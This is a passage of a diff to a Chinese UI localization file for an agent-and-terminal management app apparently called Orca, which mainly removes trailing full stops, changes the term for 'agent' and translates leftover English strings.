+            "legacyDragPrepareFailed": "Orca 无法准备此旧版 Codex 会话。请再次尝试恢复"
           },
           "TabGroupDropOverlay": {
             "paneColumnLabel": "新建拆分"
           },
           "useTabGroupCreationCommands": {
-            "duplicateBrowserTabFailed": "配对的运行时无法复制受管理的浏览器标签页。"
+            "duplicateBrowserTabFailed": "配对的运行时无法复制受管理的浏览器标签页"
           }
         },
         "bar": {
@@ -3704,22 +3951,22 @@
             "8e9d603a09": "取消固定标签"
           },
           "QuickLaunchButton": {
-            "348a04c1ad": "智能体设置...",
+            "348a04c1ad": "代理设置...",
             "ec2adf093e": "在新终端中启动 {{value0}}",
-            "e518f544b1": "未检测到智能体",
-            "8dea9b5cdf": "没有启用智能体",
+            "e518f544b1": "未检测到代理",
+            "8dea9b5cdf": "没有启用代理",
             "terminalListNeedsServerUpdate": "更新此服务器上的 Orca 以列出终端智能体",
             "terminalListFailed": "无法列出此工作区的终端智能体",
             "chatNotInstalled": "未安装",
-            "startChat": "开始与 {{value0}} 聊天",
-            "chatUnavailableAfterSelection": "无法开始 {{value0}} 聊天。",
+            "startChat": "与 {{value0}} 开始聊天",
+            "chatUnavailableAfterSelection": "无法启动 {{value0}} 聊天",
             "chatCheckFailed": "无法检查聊天可用性",
-            "agentsLoading": "正在加载智能体",
+            "agentsLoading": "正在加载代理",
             "chatNotInSubfolder": "子文件夹不支持聊天",
             "chatNotOnHost": "此主机不支持聊天",
-            "chatNotInWsl": "WSL 不支持聊天",
-            "cliTag": "(CLI)",
-            "chatNotOverSsh": "SSH 连接不支持聊天",
+            "chatNotInWsl": "WSL 中不支持聊天",
+            "cliTag": "（CLI）",
+            "chatNotOverSsh": "SSH 下不支持聊天",
             "chatNotOnWindows": "Windows 暂不支持聊天"
           },
           "RecentTabSwitcher": {
@@ -3772,15 +4019,15 @@
             "d62d63b807": "创建文件",
             "25dc1cd653": "打开文件",
             "7cdf8ee0c8": "打开网址",
-            "b27864279e": "启动智能体",
-            "omniboxPlaceholderWithHistory": "搜索打开的标签页、历史记录、文件、URL 和智能体…",
+            "b27864279e": "启动代理",
+            "omniboxPlaceholderWithHistory": "搜索打开的标签页、历史记录、文件、URL 和代理…",
             "openPage": "打开页面",
             "8f0a1c4d92": "切换到标签页",
             "2c38630a01": "工作区已不存在",
             "4f0d9a71c2": "标签页已不存在",
             "d7d496a451": "浏览器页面已不存在",
             "7726ce9970": "移动模拟器标签页已不存在",
-            "chooseAction": "请选择一项操作。",
+            "chooseAction": "请选择一项操作",
             "searchProvider": "使用 {{value0}} 搜索"
           },
           "TabBarQuickCommandsButton": {
@@ -3793,8 +4040,8 @@
             "15529ede69": "编辑 {{value0}}",
             "1d411fb6a5": "为此仓库保存快捷命令",
             "8f1e971966": "添加快捷命令",
-            "3220e2da27": "该快捷命令将从您保存的列表中删除。",
-            "e8e1a52edb": "删除“{{value0}}”？",
+            "3220e2da27": "该快捷命令将从您保存的列表中删除",
+            "e8e1a52edb": "删除\"{{value0}}\"？",
             "37e1bb90ce": "运行：{{value0}}",
             "77ac113df0": "开始 {{value0}}: {{value1}}",
             "7b1c9d6ae1": "执行",
@@ -3817,9 +4064,9 @@
               "entry": {
                 "classifier": {
                   "097a982ee0": "正在加载文件...",
-                  "90eb94dc48": "输入 http:// 或 https:// URL。",
-                  "queryTooLarge": "搜索文本过长。",
-                  "absolutePathRemoteBlocked": "绝对路径需要本地工作区。"
+                  "90eb94dc48": "输入 http:// 或 https:// URL",
+                  "queryTooLarge": "搜索文本过长",
+                  "absolutePathRemoteBlocked": "绝对路径需要本地工作区"
                 }
               },
               "menu": {
@@ -3864,7 +4111,7 @@
             "splitTerminal": "拆分终端"
           },
           "TerminalTabLeadingIcon": {
-            "7ab2964bea": "未读的智能体完成"
+            "7ab2964bea": "未读的代理完成"
           },
           "TabBarQuickCommandAddActions": {
             "45a2f36d51": "命令",
@@ -3872,31 +4119,31 @@
           },
           "TabBarQuickCommandHostLoadStatus": {
             "82e294f3ca": "主机不可用",
-            "7c129b08ff": "正在加载主机..."
+            "7c129b08ff": "正在加载主机…"
           },
           "nativeChatCliFork": {
-            "cannotOpenInCli": "无法在 CLI 中打开此会话。"
+            "cannotOpenInCli": "无法在 CLI 中打开此会话"
           },
           "tabCreateEntry": {
             "fileNotFound": "找不到文件：{{path}}",
             "cannotOpenDirectory": "无法打开目录：{{path}}",
-            "parentNotDirectory": "无法创建文件，因为 {{path}} 不是目录。",
+            "parentNotDirectory": "无法创建文件，因为 {{path}} 不是目录",
             "fileNoLongerExists": "文件已不存在：{{path}}",
-            "noActiveWorktree": "没有活动的工作树。"
+            "noActiveWorktree": "没有活动的工作树"
           },
           "tabCreateEntryPath": {
-            "filePathsCannotContainControlCharacters": "文件路径不能包含控制字符。",
-            "enterAUrlOrFilePath": "请输入 URL 或文件路径。",
-            "homeRelativePathsAreNotSupported": "此处不支持相对于主目录的路径。",
-            "enterAFilePathNotA": "请输入文件路径，而非目录路径。",
-            "enterAnAbsoluteFilePath": "请输入文件的绝对路径。",
-            "enterAnAbsolutePathForThis": "请输入此电脑上的绝对路径。",
-            "enterARelativeFilePath": "请输入文件的相对路径。",
-            "windowsDrivePathsAreNotSupported": "此处不支持 Windows 驱动器路径。",
-            "uncPathsAreNotSupportedHere": "此处不支持 UNC 路径。",
-            "filePathsCannotContainEmptySegments": "文件路径不能包含空路径段。",
-            "filePathsCannotContainDotSegments": "文件路径不能包含 . 或 .. 路径段。",
-            "filePathsCannotContainTildeSegments": "文件路径不能包含 ~ 路径段。"
+            "filePathsCannotContainControlCharacters": "文件路径不能包含控制字符",
+            "enterAUrlOrFilePath": "请输入 URL 或文件路径",
+            "homeRelativePathsAreNotSupported": "此处不支持相对于主目录的路径",
+            "enterAFilePathNotA": "请输入文件路径，而非目录路径",
+            "enterAnAbsoluteFilePath": "请输入文件的绝对路径",
+            "enterAnAbsolutePathForThis": "请输入此电脑上的绝对路径",
+            "enterARelativeFilePath": "请输入文件的相对路径",
+            "windowsDrivePathsAreNotSupported": "此处不支持 Windows 驱动器路径",
+            "uncPathsAreNotSupportedHere": "此处不支持 UNC 路径",
+            "filePathsCannotContainEmptySegments": "文件路径不能包含空路径段",
+            "filePathsCannotContainDotSegments": "文件路径不能包含 . 或 .. 路径段",
+            "filePathsCannotContainTildeSegments": "文件路径不能包含 ~ 路径段"
           }
         }
       },
@@ -3914,9 +4161,9 @@
             "34c25dfe9c": "宠物",
             "aec479308a": "宠物菜单",
             "cef0ab4636": "导入宠物包失败",
-            "2021d4f6db": "Pet 包导入需要完全重启应用（不仅是重新加载）。",
+            "2021d4f6db": "Pet 包导入需要完全重启应用(不仅是重新加载)",
             "f395c9a685": "导入文件失败",
-            "e6234bcc17": "自定义宠物上传需要完全重启应用（不仅是重新加载）。",
+            "e6234bcc17": "自定义宠物上传需要完全重启应用(不仅是重新加载)",
             "6d0a8cd179": "显示宠物",
             "1fbc51cc77": "隐藏宠物",
             "petFallbackLabel": "宠物",
@@ -3936,15 +4183,15 @@
           },
           "ResourceUsageStatusSegment": {
             "946d9f94d0": "取消",
-            "67c4ecda49": "强制退出该终端。窗格中所有未保存的工作都会丢失。这无法撤销。",
+            "67c4ecda49": "强制退出该终端，窗格中所有未保存的工作都会丢失，这无法撤销",
             "92924a14e3": "清理工作区",
             "27a74f91f0": "现在没有任何运行",
             "298f4be7f2": "CPU",
             "2aa2de6cb9": "名称",
-            "1fedf94eae": "组合 CPU 负载。高于 100% 的值意味着多个核心同时工作。",
-            "e7cf14ec78": "终端会话不可用。该列表可能已过时。",
+            "1fedf94eae": "组合 CPU 负载，高于 100% 的值意味着多个核心同时工作",
+            "e7cf14ec78": "终端会话不可用，该列表可能已过时",
             "93b0de3c21": "重新启动",
-            "f85af9cda6": "资源快照和终端会话不可用。",
+            "f85af9cda6": "资源快照和终端会话不可用",
             "f8e0d794b4": "守护进程没有响应",
             "59f178fe11": "{{value0}}，守护进程无法访问",
             "21cacb16d1": "· 远程",
@@ -3961,16 +4208,16 @@
             "138b99bd80": "本次会话",
             "888dad8c55": "加载中…",
             "ca95d077db": "守护进程无法访问",
-            "a82253b458": "删除工作区。",
-            "946724a70a": "主工作区无法删除。",
+            "a82253b458": "删除工作区",
+            "946724a70a": "主工作区无法删除",
             "16bc3c998a": "删除工作区 {{value0}}",
             "0f9e50eb07": "其他",
             "d406915b78": "渲染器",
             "81cd37af99": "主进程",
             "fa6d36758d": "终止会话 {{value0}}",
             "e9a5d3c2b1f0": "终止 {{value0}}？",
-            "8a0472ab54": "无法连接 {{value0}}；其资源未知。",
-            "1ea066b73f": "更新 {{value0}} 以查看其资源。",
+            "8a0472ab54": "无法连接 {{value0}}，其资源未知",
+            "1ea066b73f": "更新 {{value0}} 以查看其资源",
             "endOrphanTerminals_other": "终止 {{count}} 个孤立终端",
             "orphanCount_other": "{{count}} 个孤立项"
           },
@@ -3994,9 +4241,9 @@
             "connectedHostCount_one": "{{count}} 个主机",
             "connectedHostCount_other": "{{count}} 个主机",
             "searchSshHosts": "搜索 SSH 主机…",
-            "noMatchingSshHosts": "没有匹配的 SSH 主机。",
-            "moreSshHostMatches_one": "还有 {{count}} 个匹配项，继续输入以缩小范围。",
-            "moreSshHostMatches_other": "还有 {{count}} 个匹配项，继续输入以缩小范围。",
+            "noMatchingSshHosts": "没有匹配的 SSH 主机",
+            "moreSshHostMatches_one": "还有 {{count}} 个匹配项，继续输入以缩小范围",
+            "moreSshHostMatches_other": "还有 {{count}} 个匹配项，继续输入以缩小范围",
             "moreSshHosts_one": "在另外 {{count}} 个 SSH 主机中查找…",
             "moreSshHosts_other": "在另外 {{count}} 个 SSH 主机中查找…",
             "runtime_unavailable_transport_up": "Orca 不可用",
@@ -4007,7 +4254,7 @@
             "inactive": "未生效",
             "ariaLabel": "{{title}}，{{status}}",
             "onDescription": "始终防止此电脑进入睡眠状态",
-            "autoDescription": "智能体工作时防止电脑进入睡眠状态",
+            "autoDescription": "代理工作时防止电脑进入睡眠状态",
             "offDescription": "允许系统正常进入睡眠状态"
           },
           "StatusBar": {
@@ -4033,7 +4280,7 @@
             "d450654fa2": "Claude 账户",
             "11e2354daf": "Claude 使用量运行时",
             "3dd7ddfae1": "打开 Claude 详情和账户切换器",
-            "59c6e7b4e0": "可见会话将立即重启。其他会话会在其工作树变为活动状态时重启。",
+            "59c6e7b4e0": "可见会话将立即重启，其他会话会在其工作树变为活动状态时重启",
             "c676918adc": "系统默认",
             "3325d996cb": "刷新速率限制",
             "cd9d7b40ff": "重新启动 {{value0}} 会话",
@@ -4041,7 +4288,7 @@
             "25d8bbde69": "正在使用重置…",
             "e159fc1fd7": "立即重置",
             "972a1ff497": "重置 Codex 限额？",
-            "6d1042aa6f": "这会为当前账户使用一次 Codex 速率限制重置额度，并立即重置所有符合条件的用量窗口。",
+            "6d1042aa6f": "这会为当前账户使用一次 Codex 速率限制重置额度，并立即重置所有符合条件的用量窗口",
             "f077f586db": "不再询问",
             "c0e972d726": "取消",
             "3bbf140864": "MiniMax 使用情况",
@@ -4051,56 +4298,59 @@
             "floatingTerminalNewActivity": "{{label}}，有新活动",
             "4fba7dc1e7": "余额 {{value0}}",
             "codexSignInSuccess": "已登录 Codex",
-            "codexSignInError": "Codex 登录失败，请重试。",
+            "codexSignInError": "Codex 登录失败，请重试",
             "cursorUsageMenu": "Cursor 用量",
             "hiddenUsageProviders": "另有：{{value0}}",
             "zcodeUsageMenu": "Z代码使用",
             "rateLimitResetsAvailable_other": "可重置速率限制 {{count}} 次",
-            "staleCodexSessions_other": "{{count}} 个 Codex 会话仍在使用旧账户。"
+            "staleCodexSessions_other": "{{count}} 个 Codex 会话仍在使用旧账户",
+            "4025a6f62f": "无限制",
+            "a95969101f": "{{value0}} 积分",
+            "windowWeeks": "{{value0}} 周"
           },
           "StatusBarUsageEmptyCta": {
             "828c764a79": "连接账户",
             "caa0f39811": "支持：",
-            "97957ad3a3": "连接 AI 提供商账户，即可实时查看使用量并在账户间快速切换。",
+            "97957ad3a3": "连接 AI 提供商账户，即可实时查看使用量并在账户间快速切换",
             "9a542f46c7": "从状态栏隐藏",
-            "84c3b15dca": "智能体用量限制",
+            "84c3b15dca": "代理用量限制",
             "d663430cf9": "设置用量跟踪",
             "remoteLabel": "{{host}} 上没有用量",
             "remoteTitle": "{{host}} 上的用量",
-            "remoteBody": "此工作区运行在 {{host}} 上，因此状态栏显示的是该主机的用量。请在该主机上登录智能体，或切换到本地工作区以查看这台电脑的用量。",
+            "remoteBody": "此工作区运行在 {{host}} 上，因此状态栏显示的是该主机的用量，请在该主机上登录代理，或切换到本地工作区以查看这台电脑的用量",
             "remoteOpenAccounts": "打开 {{host}} 的账户"
           },
           "UpdateStatusSegment": {
-            "5cd13105a3": "更新失败。单击以展开。",
-            "2201df6987": "更新失败——点击查看详情",
+            "5cd13105a3": "更新失败，单击以展开",
+            "2201df6987": "更新失败 — 点击查看详情",
             "8533c12c3c": "更新失败",
-            "962404f68e": "更新准备安装。单击以展开。",
+            "962404f68e": "更新准备安装，单击以展开",
             "248ee5d8ef": "Orca v{{value0}} 正在下载... {{value1}}%",
             "57a29c3b0e": "更新准备就绪",
-            "fd1d3b3a1d": "更新下载，{{value0}}%。单击以展开。",
+            "fd1d3b3a1d": "更新下载，{{value0}}%，单击以展开",
             "9d13213a56": "Orca v{{value0}} 已准备好安装"
           },
           "WorkspaceSpaceCompactPanel": {
             "a471aa9c24": "已更新",
             "f4d2651498": "已扫描",
-            "6a5dc3c61a": "查看",
+            "6a5dc3c61a": "评审",
             "c361440dc0": "测试版",
             "8ff597593d": "空间",
             "0582df6d2e": "扫描",
             "f5e1a84d79": "刷新",
             "2af2174d6d": "取消",
             "5691353a21": "停止",
-            "0583c806ac": "不扫描工作区磁盘使用情况。",
-            "39786e3b73": "扫描工作区大小。",
+            "0583c806ac": "不扫描工作区磁盘使用情况",
+            "39786e3b73": "扫描工作区大小",
             "3d8d47ce77": "{{value0}} · 保留最后的结果"
           },
           "WorkspaceSpaceManagerPanel": {
             "2965415393": "强制删除失败",
-            "e031e93219": "没有匹配的工作区。",
-            "a02d84d2d2": "扫描工作区。您可以离开此页面。",
+            "e031e93219": "没有匹配的工作区",
+            "a02d84d2d2": "扫描工作区，您可以离开此页面",
             "be37293b10": "状态",
             "33aef3e9cc": "尺寸",
-            "81f14d9924": "仓库",
+            "81f14d9924": "存储库",
             "e4aebea158": "工作区",
             "1d0f8300d1": "选择可见的可删除工作区",
             "697d60c456": "清晰可见的选择",
@@ -4118,17 +4368,17 @@
             "a998501630": "强制",
             "9155381019": "疏",
             "f39d291997": "选择",
-            "16988df079": "没有找到文件。",
+            "16988df079": "没有找到文件",
             "d3f9c69ddc": "飞涨",
             "ef890d31b9": "全部",
             "c28643d3da": "转到工作区",
             "66870929fb": "议题",
-            "fb2069acb7": "查看",
+            "fb2069acb7": "评审",
             "b9b4a3a25d": "分支",
             "c432278ec7": "编辑器缓冲区",
             "0bc756efaf": "Git 更改",
             "e9528a89b3": "终端",
-            "a8d9e0de79": "智能体",
+            "a8d9e0de79": "代理",
             "d384a4ce9f": "删除决定",
             "7d7745bb8f": "可以删除",
             "720870a18e": "保持：链接",
@@ -4141,24 +4391,24 @@
             "39801484e0": "失败的",
             "33653dbac2": "正在删除",
             "52b629eb84": "已更新",
-            "e91dd2a9ae": "运行扫描以检查工作区大小。",
-            "61e25239da": "扫描中没有可用的工作区行。",
-            "8194a4fb29": "在收集任何工作区大小之前扫描失败。",
+            "e91dd2a9ae": "运行扫描以检查工作区大小",
+            "61e25239da": "扫描中没有可用的工作区行",
+            "8194a4fb29": "在收集任何工作区大小之前扫描失败",
             "b2f82ed5ae": "可删除",
-            "20a4204dce": "最后的成功结果仍然可见。",
+            "20a4204dce": "最后的成功结果仍然可见",
             "8c7c57fbf8": "扫描",
             "508673bac0": "刷新",
             "8dc9ddac8a": "取消",
             "1fce91d1b9": "停止",
-            "265d956765": "{{value0}}。您可以离开此页面。",
-            "34174bd83d": "{{value0}}。您可以离开此页面；最后的结果仍然可见。",
-            "0ba046fbc5": "扫描失败。",
-            "5c6d25720c": "选择要检查的工作区。",
-            "c5135e7e4a": "扫描工作区大小。您可以离开此页面。",
-            "0990a63160": "尚无扫描的工作区大小。",
-            "977bdf9a36": "没有可显示的顶级项目。",
+            "265d956765": "{{value0}}，您可以离开此页面",
+            "34174bd83d": "{{value0}}，您可以离开此页面，最后的结果仍然可见",
+            "0ba046fbc5": "扫描失败",
+            "5c6d25720c": "选择要检查的工作区",
+            "c5135e7e4a": "扫描工作区大小，您可以离开此页面",
+            "0990a63160": "尚无扫描的工作区大小",
+            "977bdf9a36": "没有可显示的顶级项目",
             "0d1c78d749": "选择 {{value0}}",
-            "removedFromSpace_other": "已从空间中移除 {{count}} 个工作区。",
+            "removedFromSpace_other": "已从空间中移除 {{count}} 个工作区",
             "topLevelItems_other": "{{formattedCount}} 个顶层条目",
             "selectedCount_other": "已选择 {{count}} 项",
             "reclaimableSize": "可回收 {{size}}",
@@ -4193,7 +4443,7 @@
             "a9a318b7a3": "刷新失败——显示缓存数据",
             "7ad719c4bf": "受限",
             "e740f92596": "刷新失败",
-            "8418ec448d": "{{value0}} 用量无法刷新。智能体会话可能仍处于登录状态。",
+            "8418ec448d": "{{value0}} 用量无法刷新，代理会话可能仍处于登录状态",
             "7ec6e030a0": "下一个现在过期",
             "d1e442a9e5": "现在过期",
             "6cf9eaed10": "下一个将在 {{value0}} 后过期",
@@ -4203,20 +4453,20 @@
             "f8f0f9d8cc": "网络问题",
             "bf2e739f18": "登录不可用",
             "f8b8dbed85": "用量不可用",
-            "3d3c9c0c1f": "实时 Claude 终端轮换凭据后，Claude 用量会刷新。",
-            "42fdd4da1d": "正在刷新 Claude 登录。智能体会话可能仍处于登录状态。",
-            "c06c1d215d": "由于网络请求失败，无法刷新 Claude 用量。",
-            "cabdc2a9e0": "无法读取 Claude 登录凭据。",
-            "a7517cccb6": "Claude 用量目前不可用。",
+            "3d3c9c0c1f": "实时 Claude 终端轮换凭据后，Claude 用量会刷新",
+            "42fdd4da1d": "正在刷新 Claude 登录，代理会话可能仍处于登录状态",
+            "c06c1d215d": "由于网络请求失败，无法刷新 Claude 用量",
+            "cabdc2a9e0": "无法读取 Claude 登录凭据",
+            "a7517cccb6": "Claude 用量目前不可用",
             "e2c6a4f917": "运行 Grok 以刷新",
-            "d1b7f509ac": "在运行 Orca 的电脑上的终端中运行 grok，并等待其启动。如有提示，请完成登录，然后重试用量检查。您无需发送聊天消息。",
+            "d1b7f509ac": "在运行 Orca 的电脑上的终端中运行 grok，并等待其启动，如有提示，请完成登录，然后重试用量检查，您无需发送聊天消息",
             "f90b3d7a16": "运行 Kimi 以刷新",
-            "a37e8c15d4": "在运行 Orca 的电脑上的终端中运行 kimi，等待其启动，然后重试用量检查。",
+            "a37e8c15d4": "在运行 Orca 的电脑上的终端中运行 kimi，等待其启动，然后重试用量检查",
             "minimax": {
               "expired": {
                 "label": "登录已过期",
-                "apiKey": "MiniMax API 密钥已过期。在设置中替换它。",
-                "cookie": "MiniMax 会话 cookie 已过期。在设置中替换它。"
+                "apiKey": "MiniMax API 密钥已过期，请在设置中更换",
+                "cookie": "MiniMax 会话 Cookie 已过期，请在设置中更换"
               }
             },
             "usage": {
@@ -4227,7 +4477,7 @@
             "cursor": {
               "expired": {
                 "label": "登录已过期",
-                "message": "请在运行 Orca 的电脑上的终端中运行 cursor-agent login，然后重新刷新用量。"
+                "message": "请在运行 Orca 的电脑上的终端中运行 cursor-agent login，然后重新刷新用量"
               },
               "plan": "套餐"
             },
@@ -4237,21 +4487,29 @@
             "claude": {
               "waiting": {
                 "label": "运行 Claude 时更新",
-                "message": "Claude 用量将在下次运行 Claude 时更新。"
+                "message": "Claude 用量将在下次运行 Claude 时更新"
               }
             },
             "remoteOwnerNotConfigured": "未在 {{server}} 上配置",
-            "remoteOwnerSignInSavedHere": "其登录信息仅保存在此电脑上。",
+            "remoteOwnerSignInSavedHere": "其登录信息仅保存在此电脑上",
             "claudeNoUsageFromHost": "{{server}} 无用量数据",
-            "claudeUnknownOnHost": "无法从 {{server}} 获取 Claude 用量。可能未在那里登录，或使用的是 API 密钥计费。",
-            "remoteOwnerUnreachable": "用量不可用 — 无法连接到 {{server}}",
-            "remoteOwnerNoUsage": "用量不可用 — {{server}} 未提供用量信息。请更新该主机上的 Orca。",
+            "claudeUnknownOnHost": "无法从 {{server}} 获取 Claude 用量，可能未在那里登录，或使用的是 API 密钥计费",
+            "remoteOwnerUnreachable": "用量不可用——无法连接 {{server}}",
+            "remoteOwnerNoUsage": "用量不可用——{{server}} 不报告用量，请更新该主机上的 Orca",
             "justNow": "刚刚",
             "minutesAgo": "{{minutes}} 分钟前",
             "hoursAgo": "{{hours}} 小时前",
             "updatedAgo": "更新于 {{time}}",
             "notYetUpdated": "尚未更新",
-            "rateLimitResetsAvailable_other": "可重置速率限制 {{count}} 次"
+            "rateLimitResetsAvailable_other": "可重置速率限制 {{count}} 次",
+            "fbc80d8be2": "Zen 余额",
+            "c03c61f53f": "余额",
+            "f6a27a3c0a": "可用 {{value0}}",
+            "7404abbece": "用量积分",
+            "473d45cd0f": "余额 {{value0}}",
+            "f21b2ba897": "积分",
+            "56c0d70577": "无限制",
+            "87b5bda4d3": "可用积分 {{value0}}"
           },
           "SshTargetStatusRow": {
             "sshHost": "SSH 主机"
@@ -4263,7 +4521,7 @@
           },
           "StatusBarUsageChangeNotices": {
             "compactTitle": "用量显示现已精简",
-            "compactBody": "每个服务提供商显示一个主要指标。在用量菜单中选择“<detailed>详细</detailed>”即可查看更多限额。"
+            "compactBody": "每个服务提供商显示一个主要指标，在用量菜单中选择“<detailed>详细</detailed>”即可查看更多限额"
           },
           "usageUnitLabel": {
             "used": "已用",
@@ -4271,16 +4529,16 @@
           },
           "UsagePercentageDisplayChangeNotice": {
             "title": "用量现在显示已用百分比",
-            "body": "更喜欢剩余额度？请在设置中更改。",
-            "dismiss": "Dismiss",
-            "openSettings": "Open Settings",
-            "gotIt": "Got it"
+            "body": "更喜欢剩余额度？请在设置中更改",
+            "dismiss": "关闭",
+            "openSettings": "打开设置",
+            "gotIt": "知道了"
           },
           "UsageRosterPanel": {
             "title": "使用量",
             "openDetails": "查看使用详情",
             "notSignedIn": "未登录",
-            "allAgents": "所有智能体",
+            "allAgents": "所有代理",
             "usageDetails": "使用详情与历史",
             "loadingUsage": "正在加载使用量…",
             "usageUnavailable": "使用量不可用",
@@ -4292,7 +4550,7 @@
             "compactTooltip": "精简使用情况：每个提供方显示一项汇总"
           },
           "RemoteServerUpdateStatusSegment": {
-            "updating": "Updating {{value0}}/{{value1}}",
+            "updating": "正在更新 {{value0}}/{{value1}}",
             "updatingTooltip": "远程 Orca 服务器更新正在进行中",
             "failedTooltip": "打开远程 Orca 服务器更新以查看并重试",
             "updatedTooltip": "远程 Orca 服务器更新已完成",
@@ -4302,10 +4560,10 @@
           "resource": {
             "memory": {
               "metric": {
-                "workingSetDescription": "工作集 (WS) 的总和：当前驻留在 RAM 中的页。共享页可能会出现在多个进程中，被 Windows 换出到页面文件的内存不计入其中。",
-                "privateBytesDescription": "专用字节的总和：这些进程已提交的内存，无论驻留还是已换出都会计入。这是主机计入提交限制的数值，因此在分页导致上方工作集缩小时它仍会继续上升。",
-                "footprintDescription": "内存占用的总和，与“活动监视器”显示的数值相同：每个进程自身占用的内存，包括图形内存。进程之间共享的页不会被重复计算。",
-                "rssDescription": "驻留集大小 (RSS) 的总和。共享页或别名映射页可能会出现在多个进程中。",
+                "workingSetDescription": "工作集 (WS) 的总和，共享页可能会出现在多个进程中",
+                "privateBytesDescription": "专用字节的总和：这些进程已提交的内存，无论驻留还是已换出都会计入，这是主机计入提交限制的数值，因此在分页导致上方工作集缩小时它仍会继续上升",
+                "footprintDescription": "内存占用的总和，与“活动监视器”显示的数值相同：每个进程自身占用的内存，包括图形内存。进程之间共享的页不会被重复计算",
+                "rssDescription": "驻留集大小 (RSS) 的总和，共享页或别名映射页可能会出现在多个进程中",
                 "memColumn": "内存",
                 "memorySummary": "Σ 内存",
                 "privateSummary": "Σ 专用"
@@ -4319,8 +4577,8 @@
                   "memoryUnavailable": "内存信息不可用",
                   "tooltipSummary": "资源管理器 - {{memory}} - {{sessions}}",
                   "spaceScanReady": "空间扫描已就绪",
-                  "sessionsGroupedByWorkspace": "终端会话按工作区分组。",
-                  "noTerminalSessions": "暂无终端会话。",
+                  "sessionsGroupedByWorkspace": "终端会话按工作区分组",
+                  "noTerminalSessions": "暂无终端会话",
                   "ariaLabel": "资源管理器，{{sessions}}",
                   "ariaLabelWithSpaceScan": "资源管理器，{{sessions}}，{{spaceScan}}"
                 }
@@ -4328,32 +4586,32 @@
             }
           },
           "SkillUpdateStatusSegment": {
-            "runningLabel": "Updating skills",
-            "runningOne": "Updating {{value0}}…",
-            "runningAria": "技能正在更新。点击查看详情。",
-            "successLabel": "Skills updated",
-            "successAria": "技能已更新。点击查看详情。",
-            "attentionAria": "已跳过部分技能更新。点击打开详情。",
+            "runningLabel": "正在更新技能",
+            "runningOne": "正在更新 {{value0}}…",
+            "runningAria": "技能正在更新，点击查看详情",
+            "successLabel": "技能已更新",
+            "successAria": "技能已更新，点击查看详情",
+            "attentionAria": "已跳过部分技能更新。点击打开详情",
             "attentionLabel": "技能需要处理",
             "attentionTooltip": "已跳过部分技能更新 — 点击查看详情",
             "runningSkills_other": "正在更新 {{count}} 个技能…"
           },
           "RuntimeHostStatusRow": {
-            "previous_connection_closed": "之前的连接关闭了",
+            "previous_connection_closed": "先前的连接已关闭",
             "workspace_window_closed": "工作区窗口已关闭",
-            "checking_host": "Orca 正在检查该主机是否可达",
+            "checking_host": "Orca 正在检查能否连接此主机",
             "restoring_connection": "Orca 正在尝试恢复连接",
-            "host_unreachable": "在此主机上无法访问 Orca",
+            "host_unreachable": "无法连接此主机上的 Orca",
             "runtime_unavailable": "SSH 传输已连接，但 Orca 运行时不可用",
-            "runtime_unavailable_explanation": "远程主机可能仍在运行；仅 Orca 运行时连接不可用。",
-            "contact_note": "主机可能仍在运行；仅 Orca 连接不可用。",
-            "last_connected": "最后连接 {{value0}}",
-            "reconnect_attempt": "尝试{{value0}}",
+            "runtime_unavailable_explanation": "远程主机可能仍在运行，仅 Orca 运行时连接不可用",
+            "contact_note": "主机可能仍在运行，仅 Orca 连接不可用",
+            "last_connected": "上次连接于 {{value0}}",
+            "reconnect_attempt": "第 {{value0}} 次尝试",
             "access_revoked": "Access revoked",
-            "access_revoked_summary": "该服务器已撤销对此计算机的访问权限",
+            "access_revoked_summary": "该服务器已撤销此计算机的访问权限",
             "access_revoked_explanation": "使用服务器新生成的配对链接重新配对，以恢复连接。",
-            "managed_access_revoked_explanation": "Orca 无法通过 SSH 重新与其配对。请连接以重试。",
-            "connect_access_revoked_explanation": "请连接以重试。",
+            "managed_access_revoked_explanation": "Orca 无法通过 SSH 重新与其配对，请连接以重试",
+            "connect_access_revoked_explanation": "请连接以重试",
             "update_required": "Update required",
             "update_required_summary": "Orca 版本不兼容",
             "update_required_explanation": "更新此计算机或服务器上的 Orca，然后重新连接。",
@@ -4364,19 +4622,19 @@
             "server_replaced_explanation": "Orca 正以其他 SSH 用户连接主机，或者其服务器已重新安装。请在“设置”›“远程 Orca 服务器”中打开此服务器的 ⋯ 菜单并选择“遗忘…”，然后连接 SSH 主机以配对当前服务器。"
           },
           "NativeChatResumeStatusSegment": {
-            "tooltip": "打开可恢复的中断聊天",
-            "failedTooltip": "重启后 Orca 未能恢复的聊天。点击查看详情。",
-            "checkTooltip": "重启后 Orca 未能恢复或未能确认已恢复的聊天。点击查看详情。",
+            "tooltip": "打开可恢复的中断对话",
+            "failedTooltip": "重启后 Orca 未能恢复的聊天，点击查看详情",
+            "checkTooltip": "重启后 Orca 未能恢复或未能确认已恢复的聊天，点击查看详情",
             "resumingTooltip": "正在恢复中断的聊天并请它们继续…",
             "resumingProgressLabel": "正在恢复聊天 {{value0}}/{{value1}}",
-            "resumingProgressAria": "正在恢复聊天，已完成 {{value0}}/{{value1}}。点击查看详情。",
-            "resumedTooltip": "重启后 Orca 恢复的聊天。点击查看。",
+            "resumingProgressAria": "正在恢复聊天，已完成 {{value0}}/{{value1}}，点击查看详情",
+            "resumedTooltip": "重启后 Orca 恢复的聊天，点击查看",
             "chatsFailedLabel_other": "{{count}} 个聊天恢复失败",
-            "chatsFailedAria_other": "{{count}} 个聊天恢复失败。点击查看详情。",
+            "chatsFailedAria_other": "{{count}} 个聊天恢复失败。点击查看详情",
             "resumedLabelCount_other": "已恢复 {{count}} 个聊天",
-            "resumedAriaCount_other": "已恢复 {{count}} 个聊天。点击查看。",
+            "resumedAriaCount_other": "已恢复 {{count}} 个聊天。点击查看",
             "checkLabelCount_other": "{{count}} 个聊天待检查",
-            "checkAriaCount_other": "{{count}} 个聊天恢复后需要检查。点击查看详情。",
+            "checkAriaCount_other": "{{count}} 个聊天恢复后需要检查。点击查看详情",
             "labelCount_other": "{{count}} 个聊天待恢复",
             "ariaLabelCount_other": "{{count}} 个聊天可恢复"
           },
@@ -4384,7 +4642,8 @@
             "extra": {
               "usage": {
                 "section": {
-                  "135d51c19f": "限额 {{value0}}"
+                  "135d51c19f": "限额 {{value0}}",
+                  "apiKeyBalanceUnavailable": "此用量响应中不包含余额"
                 }
               }
             }
@@ -4478,8 +4737,8 @@
           "61c58f8976": "缓存读取",
           "7d2efeff5e": "输出",
           "d7fb787e6b": "输入",
-          "a7902d3c1d": "token",
-          "059945f71d": "按天汇总的输入、输出、缓存读取和缓存写入。",
+          "a7902d3c1d": "Token",
+          "059945f71d": "按天汇总的输入、输出、缓存读取和缓存写入",
